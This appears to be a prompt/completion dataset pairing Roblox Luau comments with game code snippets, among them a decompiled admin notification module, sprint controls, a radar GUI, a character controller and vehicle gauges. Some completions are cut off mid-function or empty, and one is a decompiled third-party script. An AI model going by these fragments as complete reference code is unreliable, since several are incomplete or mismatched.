prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
GetEnv = nil;
gTable = nil;
return function(p1)
local l__PlayerGui__1 = service.PlayerGui;
local l__LocalPlayer__2 = service.Players.LocalPlayer;
local l__Parent__3 = script.Parent.Parent;
local l__Frame__4 = l__Parent__3:WaitForChild("Frame");
local l__Main__5 = l__Frame__4:WaitForChild("Main");
local l__Close__6 = l__Frame__4:WaitForChild("Close");
local l__Timer__7 = l__Frame__4:WaitForChild("Timer");
local v8 = p1.OnClick;
local v9 = p1.OnClose;
local v10 = p1.OnIgnore;
local l__Title__11 = p1.Title;
local v12 = p1.Message or (p1.Text or "");
local v13 = p1.Time;
local v14 = p1.Icon or client.MatIcons.Info;
if v8 and type(v8) == "string" then
v8 = client.Core.LoadCode(v8, GetEnv());
end;
if v9 and type(v9) == "string" then
v9 = client.Core.LoadCode(v9, GetEnv());
end;
if v10 and type(v10) == "string" then
v10 = client.Core.LoadCode(v10, GetEnv());
end;
local v15 = client.UI.Get("NotificationHolder", nil, true);
if not v15 then
client.UI.Make("NotificationHolder");
v15 = client.UI.Get("NotificationHolder", nil, true);
v15.Object.ScrollingFrame.Active = false;
end;
l__Frame__4:WaitForChild("Title").Text = l__Title__11;
l__Main__5.Text = v12;
l__Frame__4:WaitForChild("Icon").Image = v14;
local v16 = {
Type = "Notification",
Title = l__Title__11,
Message = v12,
Icon = v14 and 0,
Time = os.date("%X"),
Function = v8
};
table.insert(client.Variables.CommunicationsHistory, v16);
service.Events.CommsCenter:Fire(v16);
l__Main__5.MouseButton1Click:Connect(function()
if l__Parent__3 and l__Parent__3.Parent then
if v8 then
v8();
end;
l__Parent__3:Destroy();
end;
end);
local l__gTable__1 = p1.gTable;
l__Close__6.MouseButton1Click:Connect(function()
if l__Parent__3 and l__Parent__3.Parent then
if v9 then
v9();
end;
l__gTable__1:Destroy();
end;
end);
l__Parent__3.Parent = v15.Object.ScrollingFrame;
task.spawn(function()
local v17 = Instance.new("Sound", service.LocalContainer());
v17.SoundId = "rbxassetid://203785584";
v17.Volume = 0.2;
v17:Play();
wait(0.5);
v17:Destroy();
end);
if v13 then
l__Timer__7.Visible = true;
while true do
l__Timer__7.Text = v13;
wait(1);
v13 = v13 - 1;
if v13 <= 0 then
break;
end;
if not l__Parent__3 then
break;
end;
if not l__Parent__3.Parent then
break;
end;
end;
if l__Parent__3 and l__Parent__3.Parent then
if l__Parent__3 then
l__Parent__3:Destroy();
end;
if v10 then
v10();
end;
end;
end;
return nil;
end;
|
--[=[
Gives a promise to the maid for clean.
@param promise Promise<T>
@return Promise<T>
]=]
|
function Maid:GivePromise(promise)
if not promise:IsPending() then
return promise
end
local newPromise = promise.resolved(promise)
local id = self:GiveTask(newPromise)
-- Ensure GC
newPromise:Finally(function()
self[id] = nil
end)
return newPromise
end
|
-- this script just puts the animator in the humanoid
|
local modules = game:GetService("ReplicatedStorage"):WaitForChild("Modules", 5)
local humanoid = script.Parent:WaitForChild("Humanoid", 5)
if modules and humanoid then
local animator = modules:WaitForChild("AnimationSystem", 5)
if animator then
animator:Clone().Parent = humanoid
wait(1)
script:Destroy()
end
end
|
--[[Misc]]
|
Tune.LoadDelay = .3 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = false -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
|
--< Variables >--
|
local Speed = 25 -- How fast is the sprinting speed?
local Key = Enum.KeyCode.LeftShift -- Activation Key
UIS.InputBegan:Connect(function(Input, Processed)
if not Processed then
if Input.UserInputType == Enum.UserInputType.Keyboard and Input.KeyCode == Key then
Humanoid.WalkSpeed = Speed
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.UserInputType == Enum.UserInputType.Keyboard and Input.KeyCode == Key then
Humanoid.WalkSpeed = DefaultWalkingSpeed
end
end)
|
--////////////////////////////// Include
--//////////////////////////////////////
|
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local modulesFolder = script.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
|
--
|
local scripts_folder = script.Parent;
local frame = scripts_folder.Parent;
local icon = frame.PlayerIcon;
local template = icon:Clone();
local mode_folder = frame.Mode;
local radar = frame.Parent;
waitForChild(radar, {'Identifier'; 'Location'})
local identifierLabel = radar.Identifier;
local locationButton = radar.Location;
waitForChild(mode_folder, {'Search'; 'Target'});
local mode = mode_folder.Search;
local target = mode_folder.Target;
local colorList = {
[BrickColor.new(226)] = true;
[BrickColor.new(24)] = true;
[BrickColor.new(106)] = true;
[BrickColor.new(119)] = true;
[BrickColor.new(1025)] = true;
[BrickColor.new(38)] = true;
[BrickColor.new(11)] = true;
[BrickColor.new(1006)] = true;
[BrickColor.new(1016)] = true;
[BrickColor.new(21)] = true;
}
local modeList = {
'Closest';
'Farthest';
}
local function getCurrentModeNumber()
for index, choice in next, modeList do
if mode.Value == choice then
return index;
end
end
end
local function toV2(v3)
return Vector2.new(v3.x, v3.z);
end
local function addCharactersInRange()
for index, instance in next, workspace:GetChildren() do
if instance:IsA('Model') and findChildren(instance, body) and not (instance == character) then
if not ((toV2(instance.Torso.Position) - toV2(character.Torso.Position)).magnitude > distance) then
characters[#characters + 1] = {instance; instance.Torso.Position - character.Torso.Position};
end
end
end
end
local function clearParentOf(parent, list)
local iterations = #parent:GetChildren();
for index, name in next, list do
for i = 1, iterations do
if parent:FindFirstChild(name) then
parent[name]:Destroy();
end
end
iterations = #parent:GetChildren();
end
end
local function assignColor(instance)
local chosen
spawn(function()
if not chosen then
for color, enabled in next, colorList do
colorList[color] = true;
end
assignColor(instance);
end
end)
for color, enabled in next, colorList do
if enabled then
colors[instance] = color;
chosen = true;
colorList[color] = false;
return
end
end
end
local function returnRangeFromMode(mode)
if mode == 'Closest' then
return 50;
elseif mode == 'Farthest' then
return 0;
end
end
local function searchPriority()
local range = returnRangeFromMode(mode.Value);
local result = false;
for index, information in next, characters do
local located = information[1];
local deltaP = information[2];
local current = toV2(deltaP).magnitude;
if mode.Value == 'Closest' then
if current < range then
range = current;
target.Value = located.Name;
result = true;
end
elseif mode.Value == 'Farthest' then
if current > range then
range = current;
target.Value = located.Name;
result = true;
end
end
end
if not result then
target.Value = 'None';
end
end
locationButton.MouseButton1Click:connect(function()
local current = getCurrentModeNumber();
local nextNumber = not (current + 1 > #modeList) and current + 1 or 1;
mode.Value = modeList[nextNumber];
end)
mode.Changed:connect(function()
locationButton.Text = mode.Value .. ':';
end)
game:GetService('RunService').RenderStepped:connect(function()
clearParentOf(frame, {'Player'});
local characterSize = character:GetModelSize()
local lookDirection = character.Head.CFrame.lookVector;
local cameraDirection = camera.CoordinateFrame.lookVector;
local rotation = math.atan2(lookDirection.Z, lookDirection.X);
icon.Rotation = math.deg(rotation) + 180;
rotation = math.atan2(cameraDirection.Z, cameraDirection.X);
frame.Rotation = -(math.deg(rotation) - 90);
characters = {};
addCharactersInRange();
for index, information in next, characters do
local clone = template:Clone();
local located = information[1];
local deltaP = information[2];
local symbol = deltaP.Y < -characterSize.Y and '-' or (deltaP.Y > characterSize.Y and '+' or '');
local facingDirection = located.Head.CFrame.lookVector
local rotation = math.atan2(facingDirection.Z, facingDirection.X);
local xScale, yScale = 0.4 + (-deltaP.X / distance) / (3), 0.4 + (-deltaP.Z / distance) / (3);
-- xScale = (not (xScale > 1) and xScale or 1) and (not (xScale < 0) and xScale or 0);
-- yScale = (not (yScale > 1) and yScale or 1) and (not (yScale < 0) and yScale or 0);
if not colors[located] then
assignColor(located);
end
clone.ZIndex = deltaP.Y < -characterSize.Y and (icon.ZIndex - 1) or (deltaP.Y > characterSize.Y and (icon.ZIndex + 1));
clone.Rotation = math.deg(rotation) + 180;
clone.TextColor = colors[located] or BrickColor.Random();
clone.Name = 'Player';
clone.Position = UDim2.new(xScale, 0, yScale, 0);
clone.Text = symbol .. '>'
clone.Parent = frame
end
searchPriority();
identifierLabel.Text = target.Value;
end)
|
-- This script makes everytime a player get damage, the blood will come out --
|
function MakeBlood()
local blood = Instance.new("Part")
blood.Size = Vector3.new(1,1,1)
blood.Name = "Blood"
blood.Transparency = 1
blood.BrickColor = BrickColor.new("Crimson")
blood.CanCollide = false
blood.BottomSurface = "Smooth"
blood.TopSurface = "Smooth"
blood.Material = "SmoothPlastic"
blood.Velocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
local billboard = script.BillboardGui:Clone()
billboard.Parent = blood
local gui = script.BloodGui:Clone()
gui.Parent = billboard
game:GetService("Debris"):AddItem(blood, 5)
local CC = math.random(1,2)
|
--[[Misc]]
|
Tune.LoadDelay = 3.0 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = true -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
Tune.AutoUpdate = true -- Automatically applies minor updates to the chassis if any are found.
-- Will NOT apply major updates, but will notify you of any.
-- Set to false to mute notifications, or if using modified Drive.
|
--[[
Manages the camera movement when interacting with a surface art.
]]
|
local TweenService = game:GetService("TweenService")
local constants = require(script.Parent.Parent.Constants)
local CANVAS_OFFSET_PADDING = 10
local MAX_STUDS_OFFSET = 25
local MIN_STUDS_OFFSET = 5
local CameraModule = {}
CameraModule.__index = CameraModule
|
--[=[
@param msg string
Throws an error with `msg` as the error message if the value is _not_ None.
]=]
|
function Option:ExpectNone(msg)
assert(self:IsNone(), msg)
end
|
--------END RIGHT DOOR --------
|
game.Workspace.LightedDoorON.Value = false
|
--!native
|
local UserInput = game:GetService("UserInputService")
local ModelLoader = require(game.ReplicatedStorage.ModelLoader)
local WeldModule = require(game.ReplicatedStorage.Weld)
function KeysToStrings(Objects)
local Temp = {}
for i,v in pairs(Objects) do
table.insert(Temp, v.KeyCode.Name)
end
return Temp
end
function AreKeysDown(tbl)
task.synchronize()
local Count = 0
for i,Key in pairs(tbl) do
if UserInput:IsKeyDown(Enum.KeyCode[Key]) then
Count+=1
end
end
task.desynchronize()
if Count > 0 then
return true
else
return false
end
end
function V3Clamp(vector, min, max)
return Vector3.new(math.clamp(vector.X, min, max), math.clamp(vector.Y, min, max), math.clamp(vector.Z, min, max))
end
local Players = {}
function MakeCharacter()
local Character = {}
local Head = ModelLoader.LoadFromName("Cube")
Head.Size = Vector3.new(2,1,1)
Head:SetColor(255,255,0)
Head.Name = "Head"
Head.CanCollide = false
Head.Anchored = false
Character.Head = Head
local Root = ModelLoader.LoadFromName("Cube")
Root.Size = Vector3.new(2,2,1)
Root:SetColor(165,165,165)
Root.Rendered = true
Root.CFrame = CFrame.new(0,3,0)
Root.Name = "HumanoidRootPart"
Root.PhysicsMover.Offset = Vector3.new(0,-2,0)
Root.Anchored = false
Character.HumanoidRootPart = Root
local Torso = ModelLoader.LoadFromName("Cube")
Torso.Size = Vector3.new(2,2,1)
Torso:SetColor(0,165,255)
Torso.Name = "Torso"
Torso.CanCollide = false
Torso.Anchored = false
Character.Torso = Torso
local RightArm = ModelLoader.LoadFromName("Cube")
RightArm.Size = Vector3.new(1,2,1)
RightArm:SetColor(255,255,0)
RightArm.Name = "Right Arm"
RightArm.CanCollide = false
RightArm.Anchored = false
Character["Right Arm"] = RightArm
local LeftArm = ModelLoader.LoadFromName("Cube")
LeftArm.Size = Vector3.new(1,2,1)
LeftArm:SetColor(255,255,0)
LeftArm.Name = "Left Arm"
LeftArm.CanCollide = false
LeftArm.Anchored = false
Character["Left Arm"] = LeftArm
local RightLeg = ModelLoader.LoadFromName("Cube")
RightLeg.Size = Vector3.new(1,2,1)
RightLeg:SetColor(0,165,0)
RightLeg.Name = "Right Leg"
RightLeg.CanCollide = false
RightLeg.Anchored = false
Character["Right Leg"] = RightLeg
local LeftLeg = ModelLoader.LoadFromName("Cube")
LeftLeg.Size = Vector3.new(1,2,1)
LeftLeg:SetColor(0,165,0)
LeftLeg.Name = "Left Leg"
LeftLeg.CanCollide = false
LeftLeg.Anchored = false
Character["Left Leg"] = LeftLeg
Character.PrimaryPart = Character.HumanoidRootPart
local RootJoint = WeldModule.new("RootJoint", Root, Torso, CFrame.new(0,0,0), CFrame.new(0,0,0))
local Neck = WeldModule.new("Neck", Torso, Head, CFrame.new(0, 1, 0), CFrame.new(0, -0.5, 0))
local RightShoulder = WeldModule.new("RightShoulder", Torso, RightArm, CFrame.new(1, 0.5, 0), CFrame.new(-0.5, 0.5, 0))
local LeftShoulder = WeldModule.new("LeftShoulder", Torso, LeftArm, CFrame.new(-1, 0.5, 0), CFrame.new(0.5, 0.5, 0))
local RightHip = WeldModule.new("RightHip", Torso, RightLeg, CFrame.new(1, -1, 0), CFrame.new(0.5, 1, 0))
local LeftHip = WeldModule.new("LeftHip", Torso, LeftLeg, CFrame.new(-1, -1, 0), CFrame.new(-0.5, 1, 0))
Character.HumanoidRootPart.RootJoint = RootJoint
Character.Torso.Neck = Neck
Character.Torso["Right Shoulder"] = RightShoulder
Character.Torso["Left Shoulder"] = LeftShoulder
Character.Torso["Right Hip"] = RightHip
Character.Torso["Left Hip"] = LeftHip
Character.BaseWelds = WeldModule:GetBaseWelds()
return Character
end
function Players.new(Camera, Speed)
local Player = {}
Player.Character = MakeCharacter()
Player.CurrentCamera = Camera
Player.CameraSubject = Player.Character.PrimaryPart
Player.CameraOffset = Vector3.new(0,5,7)
Player.CameraRot = Vector3.new(0,0,0)
Player.Speed = Speed
Player.Walking = false
Player.Jump = true
Player.OnGround = true
Player.Animation = "Idle"
Player.Sine = 0
function Player:PlayAnimation(Name)
local RightShoulder = Player.Character.Torso["Right Shoulder"]
local LeftShoulder = Player.Character.Torso["Left Shoulder"]
local RightHip = Player.Character.Torso["Right Hip"]
local LeftHip = Player.Character.Torso["Left Hip"]
if Name == "Walk" then
task.spawn(function()
if Player.Animation ~= Name then
Player.Animation = Name
while Player.Animation == Name do
RightShoulder.C0 = Player.Character.BaseWelds.RightShoulder.C0 * CFrame.Angles(math.rad(math.sin(Player.Sine/6)*40), 0, 0)
LeftShoulder.C0 = Player.Character.BaseWelds.LeftShoulder.C0 * CFrame.Angles(-math.rad(math.sin(Player.Sine/6)*40), 0, 0)
RightHip.C0 = Player.Character.BaseWelds.RightHip.C0 * CFrame.Angles(-math.rad(math.sin(Player.Sine/6)*40), 0, 0)
LeftHip.C0 = Player.Character.BaseWelds.LeftHip.C0 * CFrame.Angles(math.rad(math.sin(Player.Sine/6)*40), 0, 0)
Player.Sine+=1
task.wait()
end
Player.Animation = "Idle"
end
end)
elseif Name == "Idle" then
Player.Animation = "Idle"
RightShoulder.C0 = Player.Character.BaseWelds.RightShoulder.C0
LeftShoulder.C0 = Player.Character.BaseWelds.LeftShoulder.C0
RightHip.C0 = Player.Character.BaseWelds.RightHip.C0
LeftHip.C0 = Player.Character.BaseWelds.LeftHip.C0
Player.Sine = 0
elseif Name == "Jump" then
Player.Animation = "Jump"
RightShoulder.C0 = Player.Character.BaseWelds.RightShoulder.C0 * CFrame.Angles(math.rad(180), 0, 0)
LeftShoulder.C0 = Player.Character.BaseWelds.LeftShoulder.C0 * CFrame.Angles(math.rad(180), 0, 0)
RightHip.C0 = Player.Character.BaseWelds.RightHip.C0
LeftHip.C0 = Player.Character.BaseWelds.LeftHip.C0
end
end
function Player:Movement()
task.synchronize()
local PressedKeys = KeysToStrings(UserInput:GetKeysPressed())
local MouseButton = UserInput:GetMouseButtonsPressed()
task.desynchronize()
local WalkKeys = {"W", "A", "S", "D"}
local CameraKeys = {"Left", "Right", "Up", "Down"}
for i,Key in pairs(WalkKeys) do
task.synchronize()
if UserInput:IsKeyDown(Enum.KeyCode[Key]) then
if Key == "W" then
Player.Character.PrimaryPart.CFrame = CFrame.new(Player.Character.PrimaryPart.Position + (Player.Character.PrimaryPart.Velocity)/Player.Character.PrimaryPart.Mass) * CFrame.Angles(0, math.rad(Player.CameraRot.Y), 0) --* CFrame.new(0, 0, -Speed)
Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0)
Player.Character.PrimaryPart.Velocity += Player.Character.PrimaryPart.CFrame.LookVector*30
elseif Key == "S" then
Player.Character.PrimaryPart.CFrame = CFrame.new(Player.Character.PrimaryPart.Position + (Player.Character.PrimaryPart.Velocity)/Player.Character.PrimaryPart.Mass) * CFrame.Angles(0, math.rad(180 + Player.CameraRot.Y), 0)
Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0)
Player.Character.PrimaryPart.Velocity += Player.Character.PrimaryPart.CFrame.LookVector*30
elseif Key == "A" then
Player.Character.PrimaryPart.CFrame = CFrame.new(Player.Character.PrimaryPart.Position + (Player.Character.PrimaryPart.Velocity)/Player.Character.PrimaryPart.Mass) * CFrame.Angles(0, math.rad(90 + Player.CameraRot.Y), 0)
Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0)
Player.Character.PrimaryPart.Velocity += Player.Character.PrimaryPart.CFrame.LookVector*30
elseif Key == "D" then
Player.Character.PrimaryPart.CFrame = CFrame.new(Player.Character.PrimaryPart.Position + (Player.Character.PrimaryPart.Velocity)/Player.Character.PrimaryPart.Mass) * CFrame.Angles(0, math.rad(-90 + Player.CameraRot.Y), 0)
Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0)
Player.Character.PrimaryPart.Velocity += Player.Character.PrimaryPart.CFrame.LookVector*30
end
Player.Walking = true
if Player.Animation ~= "Jump" then
Player:PlayAnimation("Walk")
end
end
task.desynchronize()
end
task.synchronize()
if (not AreKeysDown(WalkKeys)) and (Player.Walking == true) then
Player.Walking = false
Player.Character.PrimaryPart.Velocity = Vector3.new(0, Player.Character.PrimaryPart.Velocity.Y, 0)
Player:PlayAnimation("Idle")
end
task.desynchronize()
for i,Key in pairs(CameraKeys) do
task.synchronize()
if UserInput:IsKeyDown(Enum.KeyCode[Key]) then
if Key == "Right" then
Player.CameraRot -= Vector3.new(0, 2, 0)
elseif Key == "Left" then
Player.CameraRot += Vector3.new(0, 2, 0)
elseif Key == "Up" then
Player.CameraRot += Vector3.new(2, 0, 0)
elseif Key == "Down" then
Player.CameraRot -= Vector3.new(2, 0, 0)
end
if Player.CameraRot.X > 125 then
Player.CameraRot = Vector3.new(125, Player.CameraRot.Y, 0)
elseif Player.CameraRot.X < -50 then
Player.CameraRot = Vector3.new(-50, Player.CameraRot.Y, 0)
end
end
task.desynchronize()
end
if Player.Character.PrimaryPart.PhysicsMover.CollidedNormal == Vector3.new(0,1,0) then
Player.OnGround = true
if Player.Animation ~= "Walk" then
Player:PlayAnimation("Idle")
end
else
Player.OnGround = false
Player:PlayAnimation("Jump")
end
task.synchronize()
if UserInput:IsKeyDown(Enum.KeyCode.Space) then
if Player.OnGround == true and Player.Jump == true then
Player.Jump = false
Player.Character.PrimaryPart.Velocity += Vector3.new(0, 50, 0)
task.spawn(function()
task.wait(0.1)
Player.Jump = true
end)
end
end
task.desynchronize()
end
function Player:Update()
Player.CurrentCamera.CFrame = CFrame.new((CFrame.new(Player.CameraSubject.Position) * CFrame.Angles(0, math.rad(Player.CameraRot.Y), 0) * CFrame.Angles(math.rad(Player.CameraRot.X), 0, 0) * CFrame.new(Player.CameraOffset)).Position, Player.CameraSubject.Position)
Player.CurrentCamera:Update(false)
Player:Movement()
WeldModule:Update()
end
return Player
end
return Players
|
-- Either a constant value of type T, or a state object containing type T.
|
export type CanBeState<T> = StateObject<T> | T
|
--[[ 1 ]] {"Delete","Music ID","Radio","Game Info","Settings"},
--[[ 2 ]] {"Yes","No"},
--[[ 3 ]] {"Set","Play","Stop","Back"},
--[[ 4 ]] {"Preset 1","Preset 2","Preset 3","Preset 4","Back"},
--[[ 5 ]] {"Filtered","PGS","Players","Back"},
--[[ 6 ]] {"Power","Dynamics","Background","Back"},
--[[ 7 ]] {"Valet","Eco","Comfort","Sport","Back"},
--[[ 8 ]] {"Eco","Comfort","Sport","Back"},
--[[ 9 ]] {"Model","Specs","Transmission","Info","Back"},
--[[ 10 ]]
|
{"Solar","Lunar","Aurora","Clarity","Back"},
}
return module
|
--------| Reference |--------
|
local isStudio = _L.Services.RunService:IsStudio()
|
-- Hitpoints platform takes until game is over
|
GameSettings.PlatformHealthDifficulty = {
Easy = 8,
Normal = 6,
Hard = 6
}
|
-- REQUIRED PARTS ----------------------------
-- Include these, or things will break!
|
local frontForceField = vehicle.FrontForceField
local backForceField = vehicle.BackForceField
local hood = vehicle.Hood
local vehicleSmoke = hood.Smoke
local wheel_frontLeft = vehicle.Wheel_FrontLeft
local wheel_frontRight = vehicle.Wheel_FrontRight
local wheel_backLeft = vehicle.Wheel_BackLeft
local wheel_backRight = vehicle.Wheel_BackRight
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult)
v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
end
end
for i=0,revEnd*2 do
local ln = gauges.ln:clone()
ln.Parent = gauges.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = gauges.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",gauges.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = gauges.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 45+270*(i/12)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,40)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
end
bln.Num:Destroy()
bln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",gauges.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = gauges.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
isOn.Changed:connect(function()
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
values.RPM.Changed:connect(function()
gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000))
end)
local _TCount = 0
if _Tune.Aspiration ~= "Natural" and _Tune.Engine then
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
values.Boost.Changed:connect(function()
local boost = math.floor(values.Boost.Value)
if _Tune.Aspiration~="Super" then boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) end
gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount))
gauges.PSI.Text = tostring(math.floor(boost).." PSI")
end)
else
gauges.Boost:Destroy()
end
values.Gear.Changed:connect(function()
local gearText = values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
gauges.Gear.Text = gearText
end)
values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCS.Value then
gauges.TCS.TextColor3 = Color3.new(1,170/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.TCSActive.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = true
gauges.TCS.TextColor3 = Color3.new(1,0,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.TCS.Visible = false
end
end)
values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = false
end
end)
gauges.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
end
else
if gauges.TCS.Visible then
gauges.TCS.Visible = false
end
end
end)
values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABS.Value then
gauges.ABS.TextColor3 = Color3.new(1,170/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.ABSActive.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = true
gauges.ABS.TextColor3 = Color3.new(1,0,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.ABS.Visible = false
end
end)
values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = false
end
end)
gauges.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
end
else
if gauges.ABS.Visible then
gauges.ABS.Visible = false
end
end
end)
function PBrake()
gauges.PBrake.Visible = values.PBrake.Value
end
values.PBrake.Changed:connect(PBrake)
function Gear()
if values.TransmissionMode.Value == "Auto" then
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif values.TransmissionMode.Value == "Semi" then
gauges.TMode.Text = "S/T"
gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
gauges.TMode.Text = "M/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
values.TransmissionMode.Changed:connect(Gear)
values.Velocity.Changed:connect(function(property)
gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
gauges.Visible=not gauges.Visible
end
end)
gauges.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(gauges.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
--[=[
@within Signal
@interface SignalConnection
.Connected boolean
.Disconnect (SignalConnection) -> ()
Represents a connection to a signal.
```lua
local connection = signal:Connect(function() end)
print(connection.Connected) --> true
connection:Disconnect()
print(connection.Connected) --> false
```
]=]
| |
--[[Steering]]
|
Tune.SteerInner = 39 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 41 -- Outer wheel steering angle (in degrees)
